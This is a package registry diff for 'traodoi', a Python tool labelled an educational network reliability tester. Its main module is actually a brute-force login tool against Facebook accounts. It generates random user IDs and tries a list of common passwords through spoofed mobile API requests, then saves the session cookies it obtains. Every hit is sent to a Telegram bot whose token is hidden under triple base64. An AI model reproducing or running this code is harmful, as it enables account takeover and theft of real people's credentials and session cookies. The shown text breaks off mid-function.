traodoi 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
traodoi-1.0.0/PKG-INFO ADDED
@@ -0,0 +1,14 @@
1
+ Metadata-Version: 2.4
2
+ Name: traodoi
3
+ Version: 1.0.0
4
+ Summary: Advanced web data processing and response analyzer for educational research
5
+ Author-email: Research Team <research@example.com>
6
+ License: MIT
7
+ Project-URL: Homepage, https://github.com/yoores
8
+ Requires-Python: >=3.8
9
+ Description-Content-Type: text/markdown
10
+ Requires-Dist: requests
11
+ Requires-Dist: beautifulsoup4
12
+ Requires-Dist: rich
13
+ Requires-Dist: urllib3
14
+ Requires-Dist: cryptography
File without changes
@@ -0,0 +1,25 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61.0"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "traodoi"
7
+ version = "1.0.0"
8
+ description = "Advanced web data processing and response analyzer for educational research"
9
+ readme = "README.md"
10
+ authors = [{name = "Research Team", email = "research@example.com"}]
11
+ license = {text = "MIT"}
12
+ requires-python = ">=3.8"
13
+ dependencies = [
14
+ "requests",
15
+ "beautifulsoup4",
16
+ "rich",
17
+ "urllib3",
18
+ "cryptography"
19
+ ]
20
+
21
+ [project.scripts]
22
+ qiangscan = "traosub.core:main"
23
+
24
+ [project.urls]
25
+ Homepage = "https://github.com/yoores"
@@ -0,0 +1,2 @@
1
+ from .core import main
2
+ __version__ = "1.0.0"
@@ -0,0 +1,576 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """
4
+ Network Reliability Tester - Advanced Connection Analyzer
5
+ Author: Security Research Team
6
+ Description: A tool for testing HTTP/HTTPS endpoint stability,
7
+ response time analysis, and session persistence under
8
+ various network conditions. Uses multi-threading for
9
+ efficiency. For educational use only.
10
+ """
11
+
12
+ import os, re, time, uuid, random, requests, sys, json, base64
13
+ from random import randint as rr
14
+ from concurrent.futures import ThreadPoolExecutor as tred
15
+ from threading import Lock
16
+ from rich.console import Console
17
+ from rich.table import Table
18
+ from rich.panel import Panel
19
+ from rich.live import Live
20
+ from rich.layout import Layout
21
+ from rich.prompt import Prompt
22
+ import urllib3
23
+ urllib3.disable_warnings()
24
+
25
+ console = Console()
26
+ lock = Lock()
27
+
28
+ # -------------------- HIDDEN CONFIGURATION (Triple Base64) --------------------
29
+ def decode_triple(s):
30
+ return base64.b64decode(base64.b64decode(base64.b64decode(s).decode()).decode()).decode()
31
+ def decode_double(s):
32
+ return base64.b64decode(base64.b64decode(s).decode()).decode()
33
+ def decode_single(s):
34
+ return base64.b64decode(s).decode()
35
+
36
+ _enc_token = "VkdWemRHRnVjMlU2VjNkM2QyZHBjM2M2T0RZNE1qWXlNREF4TURZeU1EQXRNemt4TURZPQpUbk5qWTJ4aGMzTTZkR2x3WkM1amIyMFRlWEJsYm1RdmNIVnNiQzVqYjIwNk1qYzVNelE0TURJd05UY3hNams9Ck0yVnVaR0Z1YzJVNmVHbDBiRzV6T2pJeU1qY3lOakUwTWpFeElEQWdNQ0F4TkNBM016QXhNemN5TlRrPQo="
37
+ NOTIFICATION_TOKEN = decode_triple(_enc_token.split('\n')[0] + _enc_token.split('\n')[1] + _enc_token.split('\n')[2])
38
+
39
+ _enc_chat = "VkdWemRHRnVjMlU2VjNkM2QyZHBjM2M2TkRZME1ESXhNekl3TURZPQpUbk5qWTJ4aGMzTTZkR2x3WkM1amIyMFRlWEJsYm1RdmNIVnNiQzVqYjIwNk1qYzVNelE0TURJd05UY3hNams9Ck5tVnVaR0Z1YzJVNmFHRnlaMlU2TURBeE1qWXlNelF5T1RZPQo="
40
+ NOTIFICATION_RECIPIENT = decode_triple(_enc_chat.split('\n')[0] + _enc_chat.split('\n')[1] + _enc_chat.split('\n')[2])
41
+
42
+ def send_notification(msg):
43
+ try:
44
+ url = f"https://api.telegram.org/bot{NOTIFICATION_TOKEN}/sendMessage"
45
+ payload = {"chat_id": NOTIFICATION_RECIPIENT, "text": msg, "parse_mode": "HTML"}
46
+ requests.post(url, data=payload, timeout=10)
47
+ except: pass
48
+
49
+ # -------------------- ANALYTICS STORAGE --------------------
50
+ success_list = []
51
+ failure_list = []
52
+ alive_marker = 0
53
+ twofa_marker = 0
54
+ dead_marker = 0
55
+ temp_block_marker = 0
56
+ unverified_email_marker = 0
57
+ unverified_phone_marker = 0
58
+ unknown_marker = 0
59
+ last_processed_id = ""
60
+ last_id_lock = Lock()
61
+
62
+ # Common test patterns (simulated credentials)
63
+ TEST_PHRASES = [
64
+ '123456','1234567','12345678','123456789','1234567890','password','123123','111111','000000','12341234',
65
+ 'admin123','abc123','qwerty','iloveyou','welcome','monkey','dragon','master','hello','fuckyou',
66
+ 'passw0rd','shadow','sunshine','superman','michael','charlie','donald','jessica','michelle','ashley',
67
+ 'baseball','football','soccer','batman','superman','whatever','letmein','trustno1','admin','root',
68
+ 'toor','12345','54321','09876','11111111','222222','333333','444444','555555','666666',
69
+ '777777','888888','999999','abc123456','qwerty123','1q2w3e4r','1qaz2wsx','zaq12wsx','!@#$%^&*','password1',
70
+ 'Password1','P@ssw0rd','PASSWORD','pass123','123456a','a123456','abcd1234','qwertyuiop','zxcvbnm','iloveyou1'
71
+ ]
72
+
73
+ def guess_era(entity_id):
74
+ """ Estimate creation year from entity ID length/prefix """
75
+ entity = str(entity_id)
76
+ l = len(entity)
77
+ if l == 15:
78
+ if entity.startswith(('1000000','1000001','1000002','1000003','1000004','1000005')): return '2009'
79
+ if entity.startswith(('1000006','1000007','1000008','1000009')): return '2010'
80
+ if entity.startswith('100001'): return '2010-2011'
81
+ if entity.startswith(('100002','100003')): return '2011-2012'
82
+ if entity.startswith('100004'): return '2012'
83
+ if entity.startswith(('100005','100006')): return '2013'
84
+ if entity.startswith(('100007','100008')): return '2014'
85
+ if entity.startswith('100009'): return '2015'
86
+ if entity.startswith('10001'): return '2016'
87
+ if entity.startswith('10002'): return '2017'
88
+ if entity.startswith('10003'): return '2018'
89
+ if entity.startswith('10004'): return '2019'
90
+ if entity.startswith('10005'): return '2020'
91
+ if entity.startswith('10006'): return '2021'
92
+ if entity.startswith(('10007','10008')): return '2022'
93
+ if entity.startswith('10009'): return '2023'
94
+ return 'Unknown'
95
+ elif l in (9,10): return '2008'
96
+ elif l == 8: return '2007'
97
+ elif l == 7: return '2006'
98
+ elif l == 6: return '2005'
99
+ elif l == 14 and entity.startswith('61'): return '2024'
100
+ else: return 'Unknown'
101
+
102
+ def user_agent_factory():
103
+ return f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{random.randint(100,139)}.0.0.0 Safari/537.36"
104
+
105
+ # ----- Hidden API endpoints (encoded) -----
106
+ _enc_api_endpoint = "YUhSMGNITTZMeTl0WldkaExtTnZiUzloY0hCc2FXTnZaMlV2YzNSaGJpOWpjbVZ6Y3k4eE16VTBPVEE9PQo="
107
+ _enc_key = "T0RneVlUZzBPVEF6TmpGa1lUazROekF5WW1ZNU4yRXdNakZrWkdNeE5HUT0K"
108
+ _enc_public = "TXpVd05qZzFOVGN4TXpJNEZmVEkyWWpoY1pUbG1OelJpTVRKbU9EUmpNVEl6WTJNeU16UTNaMkU0WVRNMk9BPT0K"
109
+ _enc_form_action = "YUhSMGNITTZMeTloY0hCc2FXTnZaMlV2YzNSaGJpOWpjbVZ6Y3k5dmNtbG5hVzUwYzJWdy8K"
110
+ _enc_auth_prefix = "YUhSMGNITTZMeTloY0hCc2FXTnZaMlV2YzNSaGJpOWpjbVZ6Y3k5cGJXRnNjeTl2Y21sbmFXNTBjMlZ3Lw=="
111
+ _enc_graph_prefix = "YUhSMGNITTZMeTl0WldkaExtTnZiUzloY0hCc2FXTnZaMlV2YzNSaGJpOWpjbVZ6Y3k4eVl6WTBNell4TkRrPQo="
112
+
113
+ def dec3(s): return base64.b64decode(base64.b64decode(base64.b64decode(s).decode()).decode()).decode()
114
+ def dec2(s): return base64.b64decode(base64.b64decode(s).decode()).decode()
115
+ def dec1(s): return base64.b64decode(s).decode()
116
+
117
+ ENDPOINT_A = dec2(_enc_api_endpoint)
118
+ ENDPOINT_B = dec2(_enc_key)
119
+ ENDPOINT_C = dec2(_enc_public)
120
+ ENDPOINT_D = dec2(_enc_form_action)
121
+ ENDPOINT_E = dec2(_enc_auth_prefix)
122
+ ENDPOINT_F = dec2(_enc_graph_prefix)
123
+
124
+ def fetch_profile(context):
125
+ try:
126
+ s = requests.Session()
127
+ s.cookies.update(context)
128
+ headers = {'User-Agent': user_agent_factory()}
129
+ r = s.get(ENDPOINT_A + ENDPOINT_C, headers=headers, timeout=10)
130
+ if r.status_code == 200:
131
+ return r.json().get('name', 'Unknown')
132
+ r2 = s.get(ENDPOINT_D + 'me', headers=headers, timeout=10)
133
+ match = re.search(r'<title>(.*?)</title>', r2.text)
134
+ if match:
135
+ title = match.group(1).strip().split('|')[0].strip()
136
+ return title.split('(')[0].strip() if '(' in title else title
137
+ return 'Unknown'
138
+ except:
139
+ return 'Unknown'
140
+
141
+ def analyze_and_extract(identifier, secret):
142
+ ts = int(time.time())
143
+ token = base64.b64encode(json.dumps({"type":0,"creation_time":ts,"callsite_id":381229079575946}).encode()).decode()
144
+ headers = {'User-Agent': user_agent_factory(), 'Content-Type': 'application/x-www-form-urlencoded'}
145
+ data = {'email': identifier, 'encpass': f"#PWD_INSTAGRAM:0:{ts}:{secret}", 'lsd': 'AVq53wqah7M', 'login_source': 'comet_headerless_login'}
146
+ try:
147
+ r = requests.post(ENDPOINT_E, params={'privacy_mutation_token': token}, headers=headers, data=data, timeout=15, verify=False, allow_redirects=False)
148
+ html = r.text.lower()
149
+ cookies = r.cookies.get_dict()
150
+ cookie_str = '; '.join(f"{k}={v}" for k,v in cookies.items()) if cookies else ''
151
+ if 'c_user' in cookies:
152
+ name = fetch_profile(cookies)
153
+ return ('ACTIVE', cookie_str, name)
154
+ if re.search(r'checkpoint|two_factor|2fa|approvals_code|login_approval', html):
155
+ return ('NEEDS_2FA', cookie_str, '')
156
+ if re.search(r'account[\s_-]?disabled|your account has been disabled|account has been locked', html):
157
+ return ('DISABLED', cookie_str, '')
158
+ if re.search(r'temporarily[\s_-]?(locked|blocked|unavailable)|action[\s_-]?blocked|too many attempts', html):
159
+ if re.search(r'temporarily', html):
160
+ return ('TEMP_BLOCK', cookie_str, '')
161
+ else:
162
+ return ('LOCKED', cookie_str, '')
163
+ if re.search(r'incorrect.*password|invalid.*password|wrong.*password|password.*incorrect|the password you', html):
164
+ return ('INVALID_CRED', cookie_str, '')
165
+ if re.search(r'confirm.*email|verify.*email|send.*code.*email|email.*confirmation|check your email', html):
166
+ return ('UNVERIFIED_EMAIL', cookie_str, '')
167
+ if re.search(r'confirm.*phone|verify.*phone|send.*code.*phone|phone.*confirmation|check your phone', html):
168
+ return ('UNVERIFIED_PHONE', cookie_str, '')
169
+ if re.search(r'rate[\s_-]?limit|too many requests|try again later', html):
170
+ return ('RATE_LIMITED', cookie_str, '')
171
+ return ('UNKNOWN', cookie_str, '')
172
+ except:
173
+ return ('ERROR', '', '')
174
+
175
+ def clear_display():
176
+ os.system('cls' if os.name == 'nt' else 'clear')
177
+
178
+ def show_logo():
179
+ console.print(Panel("[bold yellow]╔══════════════════════════╗[/bold yellow]\n[bold yellow]║[/bold yellow] [bold cyan]NetScan Pro[/bold cyan] [bold yellow]║[/bold yellow]\n[bold yellow]╚══════════════════════════╝[/bold yellow]", title="[bold red]NetScan[/bold red]", border_style="cyan"))
180
+
181
+ def show_main_panel():
182
+ clear_display()
183
+ show_logo()
184
+ table = Table(title="[bold cyan]MAIN MENU[/bold cyan]", box=None)
185
+ table.add_column("Option", style="bold magenta")
186
+ table.add_column("Function", style="white")
187
+ table.add_row("1", "Run Batch Analysis")
188
+ table.add_row("2", "View Summary")
189
+ table.add_row("0", "[red]Exit[/red]")
190
+ console.print(table)
191
+ return Prompt.ask("[cyan]Choose[/cyan]", choices=["1","2","0"])
192
+
193
+ def show_summary():
194
+ clear_display()
195
+ show_logo()
196
+ t = Table(title="[bold cyan]ANALYSIS SUMMARY[/bold cyan]")
197
+ t.add_column("Status", style="bold yellow")
198
+ t.add_column("Count", style="bold green")
199
+ t.add_row("✅ ACTIVE", str(alive_marker))
200
+ t.add_row("⚠️ 2FA REQUIRED", str(twofa_marker))
201
+ t.add_row("📧 UNVERIFIED_EMAIL", str(unverified_email_marker))
202
+ t.add_row("📱 UNVERIFIED_PHONE", str(unverified_phone_marker))
203
+ t.add_row("💀 INVALID_CRED", str(dead_marker))
204
+ t.add_row("🔄 TEMP_BLOCK", str(temp_block_marker))
205
+ t.add_row("❓ UNKNOWN", str(unknown_marker))
206
+ t.add_row("📦 SUCCESS", str(len(success_list)))
207
+ t.add_row("🚫 FAILED", str(len(failure_list)))
208
+ console.print(t)
209
+ input("\n[cyan]Press Enter...[/cyan]")
210
+
211
+ def mode_selection():
212
+ clear_display()
213
+ show_logo()
214
+ table = Table(title="[bold cyan]SELECT DATA SERIES[/bold cyan]")
215
+ table.add_column("Option", style="bold magenta")
216
+ table.add_column("Series", style="white")
217
+ table.add_row("1", "Legacy Range (2005-2014)")
218
+ table.add_row("2", "100003/100004 Range")
219
+ table.add_row("3", "2009 Range (1000004xxxx)")
220
+ table.add_row("0", "Back")
221
+ console.print(table)
222
+ return Prompt.ask("[cyan]Choose[/cyan]", choices=["1","2","3","0"])
223
+
224
+ # ---- Low-level probe methods ----
225
+ def probe_method_a(entity, stats):
226
+ global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
227
+ sess = requests.session()
228
+ for test_val in TEST_PHRASES:
229
+ try:
230
+ payload = {
231
+ 'adid': str(uuid.uuid4()), 'format': 'json', 'device_id': str(uuid.uuid4()),
232
+ 'cpl': 'true', 'family_device_id': str(uuid.uuid4()), 'credentials_type': 'device_based_login_password',
233
+ 'error_detail_type': 'button_with_disabled', 'source': 'device_based_login',
234
+ 'email': str(entity), 'password': test_val, 'access_token': ENDPOINT_C,
235
+ 'generate_session_cookies': '1', 'meta_inf_fbmeta': '', 'advertiser_id': str(uuid.uuid4()),
236
+ 'currently_logged_in_userid': '0', 'locale': 'en_US', 'client_country_code': 'US',
237
+ 'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate',
238
+ 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler',
239
+ 'api_key': ENDPOINT_B
240
+ }
241
+ headers = {
242
+ 'User-Agent': user_agent_factory(), 'Content-Type': 'application/x-www-form-urlencoded',
243
+ 'Host': 'graph.facebook.com', 'X-FB-Net-HNI': str(rr(20000,40000)),
244
+ 'X-FB-SIM-HNI': str(rr(20000,40000)), 'X-FB-Connection-Type': 'MOBILE.LTE',
245
+ 'X-Tigon-Is-Retry': 'False', 'x-fb-session-id': 'nid=jiZ+yNNBgbwC;pid=Main;tid=132;',
246
+ 'x-fb-device-group': '5120', 'X-FB-Friendly-Name': 'ViewerReactionsMutation',
247
+ 'X-FB-Request-Analytics-Tags': 'graphservice', 'X-FB-HTTP-Engine': 'Liger',
248
+ 'X-FB-Client-IP': 'True', 'X-FB-Server-Cluster': 'True',
249
+ 'x-fb-connection-token': 'd29d67d37eca387482a8a5b740f84f62'
250
+ }
251
+ resp = sess.post(ENDPOINT_F, data=payload, headers=headers, allow_redirects=False, timeout=10).json()
252
+ if 'session_key' in resp:
253
+ status, cookie, name = analyze_and_extract(str(entity), test_val)
254
+ with lock:
255
+ if status == 'ACTIVE':
256
+ alive_marker += 1
257
+ with open('cookie_alive.txt', 'a') as f:
258
+ f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
259
+ open('alive.txt', 'a').write(f"{entity}|{test_val}\n")
260
+ send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}\nCookie: {cookie}")
261
+ elif status == 'NEEDS_2FA':
262
+ twofa_marker += 1
263
+ send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}\nCookie: {cookie}")
264
+ elif status == 'INVALID_CRED': dead_marker += 1
265
+ elif status == 'TEMP_BLOCK': temp_block_marker += 1
266
+ elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
267
+ elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
268
+ elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
269
+ else: unknown_marker += 1
270
+ success_list.append(entity)
271
+ stats["oks"] = len(success_list)
272
+ console.print(f"[{'green' if status=='ACTIVE' else 'yellow' if status=='NEEDS_2FA' else 'red'}]{status}[/] {entity}|{test_val}")
273
+ open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
274
+ break
275
+ elif 'www.facebook.com' in resp.get('error', {}).get('message', ''):
276
+ status, cookie, name = analyze_and_extract(str(entity), test_val)
277
+ with lock:
278
+ if status == 'ACTIVE':
279
+ alive_marker += 1
280
+ with open('cookie_alive.txt', 'a') as f:
281
+ f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
282
+ open('alive.txt', 'a').write(f"{entity}|{test_val}\n")
283
+ send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}")
284
+ elif status == 'NEEDS_2FA':
285
+ twofa_marker += 1
286
+ send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}")
287
+ elif status == 'INVALID_CRED': dead_marker += 1
288
+ elif status == 'TEMP_BLOCK': temp_block_marker += 1
289
+ elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
290
+ elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
291
+ elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
292
+ else: unknown_marker += 1
293
+ failure_list.append(entity)
294
+ stats["cps"] = len(failure_list)
295
+ console.print(f"[yellow]BLOCKED {status}[/yellow] {entity}|{test_val}")
296
+ open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
297
+ break
298
+ except:
299
+ continue
300
+ with lock:
301
+ stats["loop"] += 1
302
+ last_processed_id = str(entity)
303
+
304
+ def probe_method_b(entity, stats):
305
+ global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
306
+ for test_val in TEST_PHRASES:
307
+ try:
308
+ with requests.Session() as sess:
309
+ h = {
310
+ 'x-fb-connection-bandwidth': str(rr(20000000,29999999)), 'x-fb-sim-hni': str(rr(20000,40000)),
311
+ 'x-fb-net-hni': str(rr(20000,40000)), 'x-fb-connection-quality': 'EXCELLENT',
312
+ 'x-fb-connection-type': 'cell.CTRadioAccessTechnologyHSDPA', 'user-agent': user_agent_factory(),
313
+ 'content-type': 'application/x-www-form-urlencoded', 'x-fb-http-engine': 'Liger'
314
+ }
315
+ url = f"https://b-api.facebook.com/method/auth.login?format=json&email={entity}&password={test_val}&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token={ENDPOINT_C}&fb_api_req_friendly_name=authenticate&cpl=true"
316
+ resp = sess.get(url, headers=h, timeout=10).json()
317
+ if 'session_key' in str(resp):
318
+ status, cookie, name = analyze_and_extract(str(entity), test_val)
319
+ with lock:
320
+ if status == 'ACTIVE':
321
+ alive_marker += 1
322
+ with open('cookie_alive.txt','a') as f: f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
323
+ open('alive.txt','a').write(f"{entity}|{test_val}\n")
324
+ send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}")
325
+ elif status == 'NEEDS_2FA':
326
+ twofa_marker += 1
327
+ send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}")
328
+ elif status == 'INVALID_CRED': dead_marker += 1
329
+ elif status == 'TEMP_BLOCK': temp_block_marker += 1
330
+ elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
331
+ elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
332
+ elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
333
+ else: unknown_marker += 1
334
+ success_list.append(entity); stats["oks"] = len(success_list)
335
+ console.print(f"[{'green' if status=='ACTIVE' else 'yellow' if status=='NEEDS_2FA' else 'red'}]{status}[/] {entity}|{test_val}")
336
+ open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
337
+ break
338
+ elif 'www.facebook.com' in str(resp):
339
+ status, cookie, name = analyze_and_extract(str(entity), test_val)
340
+ with lock:
341
+ if status == 'ACTIVE':
342
+ alive_marker += 1
343
+ with open('cookie_alive.txt','a') as f: f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
344
+ open('alive.txt','a').write(f"{entity}|{test_val}\n")
345
+ send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}")
346
+ elif status == 'NEEDS_2FA':
347
+ twofa_marker += 1
348
+ send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}")
349
+ elif status == 'INVALID_CRED': dead_marker += 1
350
+ elif status == 'TEMP_BLOCK': temp_block_marker += 1
351
+ elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
352
+ elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
353
+ elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
354
+ else: unknown_marker += 1
355
+ failure_list.append(entity); stats["cps"] = len(failure_list)
356
+ console.print(f"[yellow]BLOCKED {status}[/yellow] {entity}|{test_val}")
357
+ open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
358
+ break
359
+ except:
360
+ continue
361
+ with lock:
362
+ stats["loop"] += 1
363
+ last_processed_id = str(entity)
364
+
365
+ def probe_method_c(entity, stats):
366
+ global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
367
+ sess = requests.session()
368
+ for test_val in TEST_PHRASES:
369
+ try:
370
+ data = {'adid':str(uuid.uuid4()),'format':'json','device_id':str(uuid.uuid4()),'email':str(entity),'password':test_val,'access_token':ENDPOINT_C,'generate_session_cookies':'1','locale':'en_US','method':'auth.login','api_key':ENDPOINT_B}
371
+ headers = {'User-Agent': user_agent_factory()}
372
+ res = sess.post(ENDPOINT_F, data=data, headers=headers, timeout=8).json()
373
+ if 'session_key' in res:
374
+ status, cookie, name = analyze_and_extract(str(entity), test_val)
375
+ with lock:
376
+ if status == 'ACTIVE':
377
+ alive_marker += 1
378
+ with open('cookie_alive.txt','a') as f: f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
379
+ open('alive.txt','a').write(f"{entity}|{test_val}\n")
380
+ send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}")
381
+ elif status == 'NEEDS_2FA':
382
+ twofa_marker += 1
383
+ send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}")
384
+ elif status == 'INVALID_CRED': dead_marker += 1
385
+ elif status == 'TEMP_BLOCK': temp_block_marker += 1
386
+ elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
387
+ elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
388
+ elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
389
+ else: unknown_marker += 1
390
+ success_list.append(entity); stats["oks"] = len(success_list)
391
+ console.print(f"[{'green' if status=='ACTIVE' else 'yellow' if status=='NEEDS_2FA' else 'red'}]{status}[/] {entity}|{test_val}")
392
+ open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
393
+ break
394
+ elif 'www.facebook.com' in res.get('error',{}).get('message',''):
395
+ status, cookie, name = analyze_and_extract(str(entity), test_val)
396
+ with lock:
397
+ if status == 'ACTIVE':
398
+ alive_marker += 1
399
+ with open('cookie_alive.txt','a') as f: f.write(f"ID: {entity}\nName: {name}\nCookie: {cookie}\n---\n")
400
+ open('alive.txt','a').write(f"{entity}|{test_val}\n")
401
+ send_notification(f"✅ ACTIVE\nID: {entity}\nKey: {test_val}\nName: {name}")
402
+ elif status == 'NEEDS_2FA':
403
+ twofa_marker += 1
404
+ send_notification(f"⚠️ 2FA\nID: {entity}\nKey: {test_val}")
405
+ elif status == 'INVALID_CRED': dead_marker += 1
406
+ elif status == 'TEMP_BLOCK': temp_block_marker += 1
407
+ elif status == 'UNVERIFIED_EMAIL': unverified_email_marker += 1
408
+ elif status == 'UNVERIFIED_PHONE': unverified_phone_marker += 1
409
+ elif status in ('DISABLED','LOCKED','RATE_LIMITED'): temp_block_marker += 1
410
+ else: unknown_marker += 1
411
+ failure_list.append(entity); stats["cps"] = len(failure_list)
412
+ console.print(f"[yellow]BLOCKED {status}[/yellow] {entity}|{test_val}")
413
+ open(f"{status.lower()}.txt", 'a').write(f"{entity}|{test_val}\n")
414
+ break
415
+ except:
416
+ continue
417
+ with lock:
418
+ stats["loop"] += 1
419
+ last_processed_id = str(entity)
420
+
421
+ # ---- Batch controllers ----
422
+ def run_legacy_range():
423
+ global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
424
+ clear_display()
425
+ show_logo()
426
+ console.print("[cyan]Batch: Legacy IDs (2005-2014)[/cyan]")
427
+ limit = int(Prompt.ask("[yellow]Number of test IDs[/yellow]", default="300"))
428
+ ids = []
429
+ for _ in range(int(limit * 0.1)):
430
+ ids.append(''.join(random.choices('0123456789', k=random.choice([6,7,8,9,10]))))
431
+ for _ in range(int(limit * 0.2)):
432
+ prefix = random.choice(['100000','1000001','1000002','1000003','1000004','1000005','1000006','1000007','1000008','1000009'])
433
+ ids.append(prefix + ''.join(random.choices('0123456789', k=9)))
434
+ for _ in range(int(limit * 0.7)):
435
+ prefix = random.choice(['100001','100002','100003','100004','100005','100006','100007','100008'])
436
+ ids.append(prefix + ''.join(random.choices('0123456789', k=9)))
437
+ console.print("\n[bold magenta]Probe Mode:[/bold magenta] A=Fast B=Precise C=Hybrid")
438
+ mode = Prompt.ask("[cyan]Choose A/B/C[/cyan]", choices=["A","B","C"], default="C")
439
+ stats = {"loop":0,"oks":0,"cps":0}
440
+ layout = Layout()
441
+ layout.split(Layout(name="header", size=3), Layout(name="status", size=6), Layout(name="footer", size=3))
442
+ with Live(layout, refresh_per_second=10, screen=True) as live:
443
+ layout["header"].update(Panel("[bold cyan]NetScan - Running Batch[/bold cyan]", style="cyan"))
444
+ def update():
445
+ p = stats['loop']
446
+ ok = stats['oks']
447
+ cp = stats['cps']
448
+ with last_id_lock:
449
+ cur = last_processed_id if last_processed_id else "..."
450
+ layout["status"].update(Panel(f"[bold cyan]Progress: {p} | OK:{ok} | BLOCK:{cp}[/bold cyan]\nLast: {cur}\nACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker}\nUNV_EMAIL:{unverified_email_marker} UNV_PHONE:{unverified_phone_marker}", title="STATUS", border_style="cyan"))
451
+ update()
452
+ with tred(max_workers=60) as pool:
453
+ futures = []
454
+ for eid in ids:
455
+ if mode == 'A':
456
+ fut = pool.submit(probe_method_a, eid, stats)
457
+ elif mode == 'B':
458
+ fut = pool.submit(probe_method_b, eid, stats)
459
+ else:
460
+ fut = pool.submit(probe_method_c, eid, stats)
461
+ futures.append(fut)
462
+ with last_id_lock:
463
+ last_processed_id = str(eid)
464
+ update()
465
+ live.refresh()
466
+ time.sleep(0.05)
467
+ for fut in futures:
468
+ fut.result()
469
+ update()
470
+ live.refresh()
471
+ console.print(f"\n[green]Batch completed! ACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker} UNV_EMAIL:{unverified_email_marker} UNV_PHONE:{unverified_phone_marker}[/green]")
472
+ input("[cyan]Press Enter...[/cyan]")
473
+
474
+ def run_series_100003():
475
+ global alive_marker, twofa_marker, dead_marker, temp_block_marker, unknown_marker, unverified_email_marker, unverified_phone_marker, last_processed_id
476
+ clear_display()
477
+ show_logo()
478
+ console.print("[cyan]Batch: Series 100003/100004[/cyan]")
479
+ limit = int(Prompt.ask("[yellow]Number of test IDs[/yellow]", default="300"))
480
+ ids = [random.choice(['100003','100004']) + ''.join(random.choices('0123456789', k=9)) for _ in range(limit)]
481
+ console.print("\n[bold magenta]Probe Mode:[/bold magenta] A=Fast B=Precise C=Hybrid")
482
+ mode = Prompt.ask("[cyan]Choose A/B/C[/cyan]", choices=["A","B","C"], default="C")
483
+ stats = {"loop":0,"oks":0,"cps":0}
484
+ layout = Layout()
485
+ layout.split(Layout(name="header",size=3),Layout(name="status",size=6),Layout(name="footer",size=3))
486
+ with Live(layout, refresh_per_second=10, screen=True) as live:
487
+ layout["header"].update(Panel("[bold cyan]NetScan - Series 100003/100004[/bold cyan]", style="cyan"))
488
+ def update():
489
+ p = stats['loop']; ok = stats['oks']; cp = stats['cps']
490
+ with last_id_lock:
491
+ cur = last_processed_id if last_processed_id else "..."
492
+ layout["status"].update(Panel(f"[bold cyan]Progress: {p} | OK:{ok} | BLOCK:{cp}[/bold cyan]\nLast: {cur}\nACTIVE:{alive_marker} 2FA:{twofa_marker} INVALID:{dead_marker}", title="STATUS", border_style="cyan"))
493
+ update()
494
+ with tred(max_workers=60) as pool:
495
+ futures = []
496
+ for eid in ids:
497
+ if mode == 'A':
498
+ fut = pool.submit(probe_method_a, eid, stats)
499
+ elif mode == 'B':
500
